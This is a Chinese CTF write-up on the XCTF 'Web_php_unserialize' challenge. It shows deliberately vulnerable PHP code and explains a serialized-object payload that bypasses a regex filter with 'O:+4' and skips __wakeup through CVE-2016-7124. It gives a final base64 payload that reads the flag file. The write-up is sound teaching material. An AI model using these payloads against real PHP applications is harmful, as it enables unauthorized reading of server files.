记xctf_web Web_php_unserialize，关于php反序列化的思考

原创

fly夏天 于 2019-12-13 17:50:20 发布 1415 收藏 3
分类专栏： ctf 文章标签： xctf

先来看题目，题目说是php_unserialize可见是php序列化的题目。

打开网页时一段源码

```
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```

Demo类可以看出

1.初始化传入值可以更改类中属性file的值

2.flag在fl4g.php

3.当demo实列销毁时会高亮显示file指向的文件内容

此时还没有看见传值点继续往下看

$_GET['var'] 这儿get方法传入var变量

此时需要满足的条件有：

1.先进行base64加密

2.preg_match()匹配绕过

3.unserialize() 反序列化执行_wakeup()的绕过

第一条很好解决，将传入数据base64加密即可。

第二条分析语句，正则想要匹配的为 o或c : 任意长度数字（至少一个） /i表示匹配时不区分大小写

将题中所给的类进行序列化，可得：

```
"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
```

正则匹配的就是 O：4 ，在这里我们将4改为+4即可绕过

第三条类在反序列化后会执行_wakeup()将file的值修改导致文件读取失败

此处把序列化语句中的1替换成2（CVE-2016-7124），即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

得到

```
 "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
```

注：在php中反序号化相当于字符串转换成变量的过程。也就是说被序列化的类实例经过反序列化后仍然会生成为一个新的实例，且会默认执行其中_wakeup函数 ，而在实例销毁后会执行__destruct函数。

PS：在序列化私有变量时，形成的序列化字符串与公共变量变量的序列化字符串不一样。

例如：上述的file变量在实际中下会生成`"O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}"`

注意这里的`Demo file` 前面个有一个空格，如果在`url`中直接输入序列化字符串需要将空格转换成`%00`即构造

`"O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}"`否则会出现变量不对应的问题。

按照题目要求反序列化一下即可

```
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
```

传入var =TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==即可获取flag

点个赞再走！